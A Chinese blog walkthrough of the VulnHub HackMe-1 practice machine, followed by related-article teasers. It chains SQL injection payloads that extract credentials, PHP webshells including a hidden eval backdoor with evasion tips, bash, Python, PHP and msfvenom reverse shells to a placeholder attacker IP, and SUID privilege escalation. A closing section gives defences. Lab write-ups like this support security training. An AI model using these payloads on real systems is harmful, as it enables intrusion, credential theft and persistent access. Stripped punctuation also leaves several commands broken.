HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现
HackMe-1 靶机实战从SQL注入到文件上传的完整攻击链剖析靶机环境与攻击路径总览HackMe-1是VulnHub平台上专为渗透测试学习者设计的初级难度靶机其核心价值在于完整呈现了Web应用中三个典型漏洞的串联利用过程。与真实企业环境中常见的漏洞组合模式高度一致这个靶机模拟了以下攻击路径SQL注入漏洞→ 获取管理员凭证文件上传漏洞→ 部署Webshell系统权限提升→ 获取root权限graph TD A[信息收集] -- B[SQL注入获取凭证] B -- C[管理员后台登录] C -- D[文件上传漏洞利用] D -- E[反弹Shell建立] E -- F[本地提权操作]1. 信息收集与漏洞定位1.1 基础扫描技术组合网络探测是渗透测试的第一步使用以下命令组合可快速定位靶机arp-scan -l # 发现同一网段活跃主机 nmap -sV -p- 192.168.1.100 # 全端口扫描与服务识别关键发现开放端口80HTTP、22SSHWeb服务器Apache 2.4.x操作系统Linux内核版本3.x-4.x1.2 目录与漏洞扫描进阶技巧使用多种工具交叉验证扫描结果可提高准确性# 目录扫描 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # 漏洞扫描 nikto -h http://192.168.1.100 | tee nikto_scan.log典型发现/admin后台登录入口/uploads文件上传目录/search.php存在注入点的搜索功能2. SQL注入深度利用2.1 注入点识别与验证在图书搜索功能中发现字符型注入 AND 11-- - # 正常返回 AND 12-- - # 无结果返回 Windows UNION SELECT 1,2,3-- - # 确认字段数2.2 自动化注入工具实战使用sqlmap进行高效数据提取sqlmap -u http://192.168.1.100/search.php --dataquerytest --risk3 --level5 --batch关键参数说明--dbs枚举数据库-D webapphacking --tables获取指定数据库表--os-shell尝试获取系统shell2.3 数据库信息提取流程手工注入步骤示例1 UNION SELECT database(),2,3-- - # 获取当前数据库 1 UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schemawebapphacking-- - # 获取所有表 1 UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_nameusers-- - # 获取字段名 1 UNION SELECT group_concat(user,0x3a,password),2,3 FROM users-- - # 提取凭证数据获取的关键凭证用户名密码哈希MD5解密后密码admine10adc3949ba59abbe56...123456superadmin2e9f1b7a27b3a2f1e4e8...Uncrackable3. 文件上传漏洞利用3.1 绕过基础防护的三种方法方法一Content-Type绕过制作包含PHP代码的图片文件Burp拦截修改Content-Type为image/jpeg方法二双扩展名绕过mv shell.php shell.php.jpg方法三NULL字节截断shell.php%00.jpg3.2 实战上传Webshell使用最简一句话木马?php system($_GET[cmd]); ?上传验证流程访问/uploads/shell.php?cmdid确认返回当前用户权限信息3.3 高级持久化技术隐蔽型Webshell示例?php $key secret123; if(isset($_GET[$key])) { eval($_GET[$key]); } ?反检测技巧使用不常见函数替代eval添加合法文件头如GIF89a设置访问密码保护4. 权限提升与系统控制4.1 反弹Shell的四种方式方法一Bash反向连接bash -i /dev/tcp/攻击机IP/4444 01方法二Python脚本import socket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((攻击机IP,4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno,1); os.dup2(s.fileno(),2) psubprocess.call([/bin/bash,-i])方法三PHP反向Shell?php exec(/bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01); ?方法四Metasploit生成msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST攻击机IP LPORT4444 -f elf shell.elf4.2 本地提权技术实战SUID提权检测find / -perm -4000 -type f 2/dev/null发现的可利用程序/usr/bin/find/usr/bin/vim/home/legacy/touchmenot利用示例/home/legacy/touchmenot # 直接执行获取root /usr/bin/find . -exec /bin/sh \; -quit # 通过find提权5. 防御措施与最佳实践5.1 SQL注入防护方案代码层防护// 使用预处理语句 $stmt $pdo-prepare(SELECT * FROM books WHERE title LIKE ?); $stmt-execute([%.$input.%]);WAF规则示例SecRule ARGS detectSQLi id:1001,deny,status:4035.2 文件上传安全控制防御矩阵防护层实施方法有效性扩展名验证白名单机制仅允许.jpg/.png★★★☆☆内容检测文件头校验二次渲染★★★★☆存储隔离上传目录禁止脚本执行★★★★★随机化命名防止直接访问猜测★★☆☆☆5.3 系统加固建议Linux安全基线# 限制SUID程序 find / -perm -4000 -exec chmod u-s {} \; # 配置sudo权限 visudo # 严格限制普通用户权限 # 定期审计 apt install auditd auditctl -a always,exit -F archb64 -S execve6. 攻击链复现的实战价值通过HackMe-1靶机的完整渗透过程安全人员可以深入理解漏洞关联性如何将独立漏洞串联形成完整攻击路径权限维持从Web应用到系统级的持久化技术痕迹清理操作日志的识别与清除方法防御突破针对常见防护措施的绕过思路这种从外到内、由浅入深的渗透模式正是企业真实环境中攻击者最常采用的攻击方法论。掌握此类靶机的攻防技术能够有效提升对企业Web应用安全的整体防护能力。

相关新闻

Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell

Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell

Webmin 1.920 命令执行漏洞深度利用指南:从原理到Shell获取在渗透测试实践中,能够快速识别和利用已知漏洞是安全研究人员的基本功。CVE-2019-15107作为Webmin历史上一个关键的安全漏洞,其利用方式具有典型的教学意义。本文将从一个实战演练的…

2026/7/8 20:24:08阅读更多 →
CVE-2019-15107 漏洞深度剖析:Webmin密码重置功能中的1处命令注入逻辑缺陷

CVE-2019-15107 漏洞深度剖析:Webmin密码重置功能中的1处命令注入逻辑缺陷

CVE-2019-15107 Webmin密码重置漏洞的代码级剖析漏洞背景与影响范围Webmin作为一款广泛使用的Unix系统Web管理工具,其1.920及之前版本中存在一个高危的安全漏洞(CVE-2019-15107)。这个漏洞位于密码重置功能模块password_change.cgi中&#xf…

2026/7/8 20:24:08阅读更多 →
如何用FanControl彻底告别电脑风扇噪音,实现智能温控?

如何用FanControl彻底告别电脑风扇噪音,实现智能温控?

如何用FanControl彻底告别电脑风扇噪音,实现智能温控? 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_…

2026/7/8 20:19:07阅读更多 →
微PE工具箱 v2.3 制作指南:3步完成U盘启动盘,兼容UEFI/Legacy双模式

微PE工具箱 v2.3 制作指南:3步完成U盘启动盘,兼容UEFI/Legacy双模式

微PE工具箱v2.3终极实战手册:三分钟打造全兼容系统维护U盘 在电脑维护领域,一个可靠的PE启动盘就像数字世界的瑞士军刀。当系统崩溃、病毒入侵或需要重装时,它能瞬间将普通U盘变身为专业维修站。微PE工具箱v2.3以其纯净无捆绑和强大的兼容性…

2026/7/8 21:19:19阅读更多 →
MCP协议、熔断器与OAuth——Agent接入外部世界的工程方案

MCP协议、熔断器与OAuth——Agent接入外部世界的工程方案

MCP协议、熔断器与OAuth——Agent接入外部世界的工程方案《Claude Code 架构解密》精读笔记 第15篇 覆盖章节:第9章后半(9.6-9.12, p.237-251) 主题:8种MCP传输适配、分级熔断连接缓存、OAuth/XAA认证状态机、分区批处理编排、插…

2026/7/8 21:19:19阅读更多 →
MA12070与PIC18F86J50在音频系统开发中的应用

MA12070与PIC18F86J50在音频系统开发中的应用

1. 项目概述:MA12070与PIC18F86J50的黄金组合在音频系统开发领域,选择合适的功放芯片和微控制器是决定系统性能的关键。MA12070作为D类音频功放芯片的代表,与PIC18F86J50这款高性能8位MCU的结合,为开发者提供了一个极具性价比的解…

2026/7/8 21:19:19阅读更多 →
机械制造数字化方案:如何在削减三维硬件开支的同时同步解决建模卡顿低效难题

机械制造数字化方案:如何在削减三维硬件开支的同时同步解决建模卡顿低效难题

国内机械制造、非标自动化、智能装备企业普遍采用一人一台图形工作站开展 SolidWorks 三维研发,高额硬件采购、软件授权、运维成本长期挤压企业利润;同时新旧设备性能差距大,大型装配建模卡顿、软件环境杂乱、图纸协同低效等问题持续拖慢研发…

2026/7/8 21:19:19阅读更多 →
Linux 服务器挂载 QNAP SMB/CIFS 共享:Ubuntu 22.04 实测与 3 种身份验证方案

Linux 服务器挂载 QNAP SMB/CIFS 共享:Ubuntu 22.04 实测与 3 种身份验证方案

Linux 服务器挂载 QNAP SMB/CIFS 共享:Ubuntu 22.04 实测与 3 种身份验证方案在混合操作系统环境中,Linux 服务器与 QNAP NAS 之间的文件共享一直是运维人员和开发者的高频需求。虽然 NFS 协议在 Linux 原生支持方面表现优异,但 SMB/CIFS 协议…

2026/7/8 21:19:19阅读更多 →
UEFI 2.10 启动流程深度解析:从 SEC 到 RT 的 7 个阶段与 3 个关键数据结构

UEFI 2.10 启动流程深度解析:从 SEC 到 RT 的 7 个阶段与 3 个关键数据结构

UEFI 2.10 启动流程深度解析:从 SEC 到 RT 的 7 个阶段与 3 个关键数据结构现代计算机系统的启动过程是一个精密编排的"交响乐",而UEFI(统一可扩展固件接口)则是这场演出的总指挥。与传统的BIOS相比,UEFI 2.…

2026/7/8 21:14:18阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/8 5:12:14阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/8 7:00:12阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/8 2:26:06阅读更多 →
作为一个给团队打绩效的人,我想说几句

作为一个给团队打绩效的人,我想说几句

我每半年都会给团队成员打绩效,也会参与和 CTO 的绩效校准,所以从管理者的视角,说说这件事 首先,我先把结论告诉你:接受结果,但一定要把原因问清楚。 因为当绩效公布到你这里的时候,结果基本已…

2026/7/8 0:01:17阅读更多 →
A股股指期货:全维度解析(多表格结构化完整版)

A股股指期货:全维度解析(多表格结构化完整版)

一、基础定义与核心本质股指期货全称股票价格指数期货,是中国金融期货交易所(中金所)上市的标准化金融期货合约,交易标的为 A 股大盘指数,约定未来特定时间按约定价格现金交割指数涨跌差价,不交割一篮子股票…

2026/7/8 0:01:17阅读更多 →
iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事 【免费下载链接】Jailbreak iOS 26.4 - 26, 17 - 17.7.5 & iOS 18 - 18.7.3 Jailbreak Tools, Cydia/Sileo/Zebra Tweaks & Jailbreak News Updates || AI Jailbreak Finder &…

2026/7/8 0:01:17阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/8 6:59:54阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/8 13:42:39阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/8 13:42:39阅读更多 →